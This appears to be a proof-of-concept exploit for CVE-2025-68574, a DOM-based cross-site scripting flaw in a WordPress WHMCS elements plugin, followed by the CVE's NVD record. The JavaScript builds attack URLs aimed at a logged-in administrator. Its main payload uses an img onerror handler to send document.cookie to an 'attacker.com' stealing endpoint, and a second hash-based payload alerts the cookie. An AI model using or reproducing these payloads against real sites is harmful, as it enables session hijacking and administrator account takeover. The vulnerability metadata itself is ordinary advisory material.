CVE-2025-68574

// CVE-2025-68574 PoC - DOM-Based XSS in WPBakery Visual Composer WHMCS Elements // Target: WordPress site with void-visual-whmcs-element plugin <= 1.0.4.3 // Attack Vector: Inject malicious JavaScript via URL parameter // Malicious URL payload (URL-encode if necessary) const maliciousPayload = '<img src=x onerror="fetch(\'https://attacker.com/steal?cookie=\'+document.cookie)">"}'; // Attack URL construction const targetUrl = 'https://vulnerable-site.com/wp-admin/admin.php?page=void-whmcs-element&param=' + encodeURIComponent(maliciousPayload); // For demonstration - this URL would be sent to a logged-in admin console.log('Attacker URL:', targetUrl); // Alternative: If the plugin reflects URL parameters in the page // <script> tag injection via URL hash const hashBasedPayload = '#<img src=x onerror=alert(document.cookie)>'; const hashUrl = 'https://vulnerable-site.com/page-with-whmcs-element/' + hashBasedPayload; console.log('Hash-based attack URL:', hashUrl);

{"cve": {"id": "CVE-2025-68574", "sourceIdentifier": "[email protected]", "published": "2025-12-24T13:16:24.423", "lastModified": "2026-04-27T19:16:32.107", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in voidcoders WPBakery Visual Composer WHMCS Elements void-visual-whmcs-element allows DOM-Based XSS.This issue affects WPBakery Visual Composer WHMCS Elements: from n/a through <= 1.0.4.3."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:L/I:L/A:L", "baseScore": 5.9, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "HIGH", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "LOW"}, "exploitabilityScore": 1.7, "impactScore": 3.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "references": [{"url": "https://patchstack.com/database/Wordpress/Plugin/void-visual-whmcs-element/vulnerability/wordpress-wpbakery-visual-composer-whmcs-elements-plugin-1-0-4-3-cross-site-scripting-xss-vulnerability?_s_id=cve", "source": "[email protected]"}]}}